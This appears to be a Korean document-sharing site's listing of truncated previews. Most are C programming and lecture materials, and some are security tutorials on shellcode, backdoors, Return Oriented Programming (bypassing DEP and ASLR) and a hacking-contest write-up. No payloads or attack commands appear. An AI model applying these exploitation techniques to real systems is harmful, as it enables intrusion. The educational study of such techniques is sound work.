<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM M

01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM M 01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM Machine code Assembly code Linux system call in assembly

More information

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2.

More information

=

= written by vangelis(vangelis@wowhacker.org) 0 0000 8 1000 1 0001 9 1001 2 0010 10 1010 3 0011 11 1011 4 0100 12 1100 5 0101 13 1101 6 0110 14 1110 7 0111 15 1111 110112 + 100012 = 1011002 110 0000 0101

More information

Microsoft PowerPoint - hy2-12.pptx

Microsoft PowerPoint - hy2-12.pptx 2.4 명령어세트 (instruction set) 명령어세트 CPU 가지원하는기계어명령어들의집합 명령어연산의종류 데이터전송 : 레지스터 / 메모리간에데이터이동 산술연산 : 덧셈, 뺄셈, 곱셈및나눗셈 논리연산 : 비트들간의 AND, OR, NOT 및 XOR 연산 입출력 (I/O) : CPU( 레지스터 ) 와외부장치들간의데이터이동 프로그램제어 : 분기, 서브루틴호출

More information

제 9 도는 6제어항목의 세팅목표의 보기가 표시된 레이더 챠트(radar chart). 제 10 도는 제 6 도의 함수블럭(1C)에서 사용되는 각종 개성화 함수의 보기를 표시하는 테이블. 제 11a 도 제 11c 도까지는 각종 조건에 따라 제공되는 개성화함수의 변화의

제 9 도는 6제어항목의 세팅목표의 보기가 표시된 레이더 챠트(radar chart). 제 10 도는 제 6 도의 함수블럭(1C)에서 사용되는 각종 개성화 함수의 보기를 표시하는 테이블. 제 11a 도 제 11c 도까지는 각종 조건에 따라 제공되는 개성화함수의 변화의 (19) 대한민국특허청(KR) (12) 특허공보(B1) (51) Int. Cl. 5 B66B 1/18 (45) 공고일자 1993년09월28일 (11) 공고번호 특1993-0009339 (21) 출원번호 특1989-0002580 (65) 공개번호 특1989-0014358 (22) 출원일자 1989년03월02일 (43) 공개일자 1989년10월23일 (30) 우선권주장

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

/* */

/* */ /*---------------------------------------------------------------------------------*/ 번역 : innovation@wowhacker.org /*---------------------------------------------------------------------------------*/

More information

ISP and CodeVisionAVR C Compiler.hwp

ISP and CodeVisionAVR C Compiler.hwp USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler http://www.avrmall.com/ November 12, 2007 Copyright (c) 2003-2008 All Rights Reserved. USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler

More information

vi 사용법

vi 사용법 네트워크프로그래밍 6 장과제샘플코드 - 1:1 채팅 (udp 버전 ) 과제 서버에서먼저 bind 하고그포트를다른사람에게알려줄것 클라이언트에서알려준포트로접속 서로간에키보드입력을받아상대방에게메시지전송 2 Makefile 1 SRC_DIR =../../common 2 COM_OBJS = $(SRC_DIR)/addressUtility.o $(SRC_DIR)/dieWithMessage.o

More information

untitled

untitled int i = 10; char c = 69; float f = 12.3; int i = 10; char c = 69; float f = 12.3; printf("i : %u\n", &i); // i printf("c : %u\n", &c); // c printf("f : %u\n", &f); // f return 0; i : 1245024 c : 1245015

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

UDCSC Hacking Festival 2005

UDCSC Hacking Festival 2005 UDCSC Hacking Festival 2005 작성자 : 유동훈 목차 0x00: 소개인사 0x01: Level1 문제 0x02: Level2 문제 0x03: Level3 문제 0x04: Level4 문제 0x05: Level5 문제 0x06: Level6 문제 0x07: 후기 0x00: 소개인사 안녕하세요. 이렇게만나뵙게되어서반갑습니다. 이번이벤트를주최해주신여러분들께진심으로감사드리는바입니다.

More information